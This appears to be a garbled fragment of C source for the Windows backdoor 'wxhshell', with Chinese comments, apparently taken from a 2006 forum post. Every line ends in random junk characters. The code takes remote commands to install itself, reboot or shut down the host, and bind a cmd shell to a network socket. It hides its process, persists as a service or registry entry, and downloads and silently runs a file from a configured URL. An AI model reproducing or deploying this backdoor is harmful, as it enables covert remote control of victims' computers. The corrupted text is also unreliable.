      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <-:gaA`KM  
    break; |3?qL  
  } O)qedy*&  
  // 安装 'K=n}}&:  
  case 'i': { \)?[1b&[_  
    if(Install()) \?_eQKiZ3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K 5SHt'P  
    else G#&R/Tc5N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G:e 9}  
    break; %hzl3>().  
    } x7=5 ;gf/X  
  // 卸载 Jm|eZDp  
  case 'r': { Ub8|x]ix  
    if(Uninstall()) h4 s!VK1X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZCZYgf@  
    else mRT`'fxK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R30{/KK  
    break; m 4Vh R_  
    } (q!tI* }  
  // 显示 wxhshell 所在路径 |7V:~MTkk&  
  case 'p': { Xx~XW ^lsh  
    char svExeFile[MAX_PATH]; NX^%a1D!  
    strcpy(svExeFile,"\n\r"); OYEL`!Q  
      strcat(svExeFile,ExeFile); VQ/<MY C  
        send(wsh,svExeFile,strlen(svExeFile),0); |.x |BJ  
    break; ;=IGl:  
    } ]:m}nJ_  
  // 重启 :66xrw  
  case 'b': { _ FcfNF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {"dU?/d  
    if(Boot(REBOOT)) E.$1CGd+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &>I4-D[  
    else { 777N0,o(  
    closesocket(wsh); /XG4O  
    ExitThread(0); iD)R*vnAi  
    } ^@'LF T)  
    break; e 'I13)  
    } x(nWyVB  
  // 关机 >W= 0N (  
  case 'd': { 6e6~82t8/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <6=kwV6  
    if(Boot(SHUTDOWN)) Z?H#=|U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,ufB*[~  
    else { GVT+c@Gx  
    closesocket(wsh); *%^Vq  
    ExitThread(0); iol.RszlZ|  
    } &y?L^Aq  
    break; FTx&] QN?  
    } Y3+GBqP  
  // 获取shell jrGVC2*rD  
  case 's': { )E<<  
    CmdShell(wsh); 1>$ fLbmkI  
    closesocket(wsh); 6>! ;g'k  
    ExitThread(0); ho#]i$b}f2  
    break; MXWCYi  
  } ;Jex#+H(:D  
  // 退出 V&x6ru#  
  case 'x': { 2 w2JFdm  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Dz4fP;n  
    CloseIt(wsh); ~ l~ai>/  
    break;  }xcEWC\  
    } Fh u(u  
  // 离开 t =ErJ  
  case 'q': { LEoL6ga  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N`7) 88>w  
    closesocket(wsh); FpjpsD~ Qu  
    WSACleanup(); **L. !/  
    exit(1); zK`z*\  
    break; \K+LKa)  
        } }v[*V   
  } z\Vu`Y z  
  } ^zPa^lo-  
85U')LY  
  // 提示信息 `wt*7~'=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lLy^@s  
} P8jXruZr  
  } \8%64ZL`  
zfDx c3e  
  return; J>(I"K%  
} L Of0_g/  
Z `FqC  
// shell模块句柄 H-GlCVq~  
int CmdShell(SOCKET sock) X kZ82w#b  
{ @G  0k+  
STARTUPINFO si; RI_:~^nO{r  
ZeroMemory(&si,sizeof(si)); |EuWzhNAO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ob=GB71j55  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f!;4 -.p`  
PROCESS_INFORMATION ProcessInfo; *Z"9QX  
char cmdline[]="cmd"; Wpo:'?!(M^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P!q U8AJkt  
  return 0; <^?64  
} rWKc,A[  
Zi47)8  
// 自身启动模式 = 8F/]8_  
int StartFromService(void) @[M5$,"  
{ &]gw[ `  
typedef struct v=15pW  
{ nlaJ  
  DWORD ExitStatus; E5.3wOE  
  DWORD PebBaseAddress; LyM"  
  DWORD AffinityMask; hC@oyC(4  
  DWORD BasePriority; L M  
  ULONG UniqueProcessId; tmF->~|  
  ULONG InheritedFromUniqueProcessId; F%!ZHE7  
}   PROCESS_BASIC_INFORMATION; ,>X +tEgR  
y>T:fu  
PROCNTQSIP NtQueryInformationProcess; j8*fa  
/P bN!r<1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iOI8'`mk  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m\~{l=jIS  
,"!t[4p=f  
  HANDLE             hProcess; eC:?j`H -  
  PROCESS_BASIC_INFORMATION pbi; FBpf_=(_1  
Nq|b$S[4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <$)F_R~T3  
  if(NULL == hInst ) return 0; z mvF#o  
.Ua|KKK C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xh[De}@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5 3=zHYQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {] 1+01vI-  
|IL..C  
  if (!NtQueryInformationProcess) return 0; MY1 1 5%  
t(FI Bf3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0q`n]NM  
  if(!hProcess) return 0; .du FMJl  
5}FPqyK"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /7Z;/|oU  
J8[N!qDCj  
  CloseHandle(hProcess); )0Av:eF-+  
2Uf]qQ1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a>jiq8d]4  
if(hProcess==NULL) return 0; Y#Pl)sRr  
ndEW$?W,  
HMODULE hMod; 1PLxc)LsG  
char procName[255]; < &[=,R0 @  
unsigned long cbNeeded;  qOO2@c  
_]W {)=ap  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ar4@7  
Z)B5g>  
  CloseHandle(hProcess); -}nTwx:|5u  
^Wk.D-  
if(strstr(procName,"services")) return 1; // 以服务启动 6j9P`#Lt  
|V#h "s  
  return 0; // 注册表启动 Yhu 6QyRV  
} 9l9h*P gt  
bd],fNgJ  
// 主模块 dZ'hTzw~  
int StartWxhshell(LPSTR lpCmdLine) _&s37A&\  
{ O 4xV "\  
  SOCKET wsl; 3#7D g't  
BOOL val=TRUE; w@U`@})r.  
  int port=0; };%l <Ui;  
  struct sockaddr_in door; L7i^?40  
z.itVQs$I  
  if(wscfg.ws_autoins) Install(); qE73M5L&  
sr(f9Vl  
port=atoi(lpCmdLine); 0^htwec!  
/(-X[[V  
if(port<=0) port=wscfg.ws_port; qI,4 uGg  
}{<@wE%s  
  WSADATA data; V<f76U)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KCG-&p$v@s  
nJH+P!AC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k[3J5 4`g1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); f(Jz*el S  
  door.sin_family = AF_INET; /8 /2#`3R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ptXCM[Z+  
  door.sin_port = htons(port); %G!BbXlz  
/lBx}o'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { > D:( HWL  
closesocket(wsl); GY9CU=-  
return 1;  A i`  
} PfKIaW<  
=#qf0  
  if(listen(wsl,2) == INVALID_SOCKET) { Vm NCknG  
closesocket(wsl); ?`%7Y~  
return 1; >*v!2=  
} IN2FO/Y@  
  Wxhshell(wsl); ZujPk-  
  WSACleanup(); P)h e3  
C FqteY"  
return 0; u Ey>7I  
9Tbi_6[  
} F)x^AJi e  
<0!/7*;#ZT  
// 以NT服务方式启动 ]<\Ft H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8:V:^`KaSs  
{ >gNVL (  
DWORD   status = 0; `4V_I%lJ&  
  DWORD   specificError = 0xfffffff; $ K>.|\  
k`H#u,&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &HdzbKO=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Qp9)Rc5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G-?y;V 1  
  serviceStatus.dwWin32ExitCode     = 0; E;7vGGf]  
  serviceStatus.dwServiceSpecificExitCode = 0; ]mEY/)~7  
  serviceStatus.dwCheckPoint       = 0; MpZ #  
  serviceStatus.dwWaitHint       = 0; Ra%" +=  
l*;Isz:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V@6,\1#`|  
  if (hServiceStatusHandle==0) return; P9j[ NEV  
8. 9TWsZ  
status = GetLastError(); A1`y_ Aj  
  if (status!=NO_ERROR) =<nx [J  
{ eq)8V x0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; A|!u`^p  
    serviceStatus.dwCheckPoint       = 0; |> mx*G  
    serviceStatus.dwWaitHint       = 0; WVPnyVDc  
    serviceStatus.dwWin32ExitCode     = status; biZwxP3  
    serviceStatus.dwServiceSpecificExitCode = specificError; uh`W} n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cfn\De%.  
    return; rv/O^aL`Y  
  } 8 /3`rEW  
58FjzW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~s_n\r&23  
  serviceStatus.dwCheckPoint       = 0; 59eq"08  
  serviceStatus.dwWaitHint       = 0; P{qi>FJqe  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4RgEN!d?H  
} L~nVoKY*V  
,1-n=eTQ  
// 处理NT服务事件,比如:启动、停止 EC *rd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) r=8(n<;Co  
{ UOTM>d1P  
switch(fdwControl) d^5OB8t  
{ kaBP& 6|Z  
case SERVICE_CONTROL_STOP: b65V*Vbj  
  serviceStatus.dwWin32ExitCode = 0; NE Br) ~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ROZOX$XM  
  serviceStatus.dwCheckPoint   = 0; iQryX(z  
  serviceStatus.dwWaitHint     = 0; hrsMAh!  
  { _&0_@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5$C4Ui{<E'  
  } BJzNh>-#=  
  return; >_9w4g_<  
case SERVICE_CONTROL_PAUSE: [d+f#\ut  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -*;-T9  
  break; *aKT&5Ch-  
case SERVICE_CONTROL_CONTINUE: g]B! 29M  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0<3)K[m~H  
  break; b(<#n6a}\  
case SERVICE_CONTROL_INTERROGATE: q}vz]L&o  
  break; [~cb&6|M  
}; B J,U,!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3<:(Eda}  
} H^UuT  
bB01aiUw@l  
// 标准应用程序主函数 eJWcrVpn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /b3b0VfF  
{ \^7D% a=;C  
l ;TWs_N  
// 获取操作系统版本 MXy~kb&  
OsIsNt=GetOsVer(); GjDs,9@f  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sC ,[CN:b  
=7&2-'(@  
  // 从命令行安装 w}*2Hz&Q!  
  if(strpbrk(lpCmdLine,"iI")) Install();  j6zZ! k  
1:2 t4}  
  // 下载执行文件 "AH1)skB:  
if(wscfg.ws_downexe) { |etA2"r&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *;(wtMg  
  WinExec(wscfg.ws_filenam,SW_HIDE); r`? bYoz  
}  U/v }4b  
tbbZGyg5b  
if(!OsIsNt) { rGPFPsMQ]  
// 如果时win9x,隐藏进程并且设置为注册表启动 C'4gve 7!  
HideProc(); 83rtQ ;L  
StartWxhshell(lpCmdLine); 1Yj^N" =  
} +&t`"lRl&  
else ,Mt/*^|  
  if(StartFromService()) ~zEBJgeyh  
  // 以服务方式启动 |8xu*dVAp4  
  StartServiceCtrlDispatcher(DispatchTable); @9yY`\"ed  
else 9 F"2$;  
  // 普通方式启动 &O0@)jIV  
  StartWxhshell(lpCmdLine); I)@b#V=  
zT;F4_p3G-  
return 0; +k@$C,A  
}
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只看该作者 1 发表于: 2006-10-10
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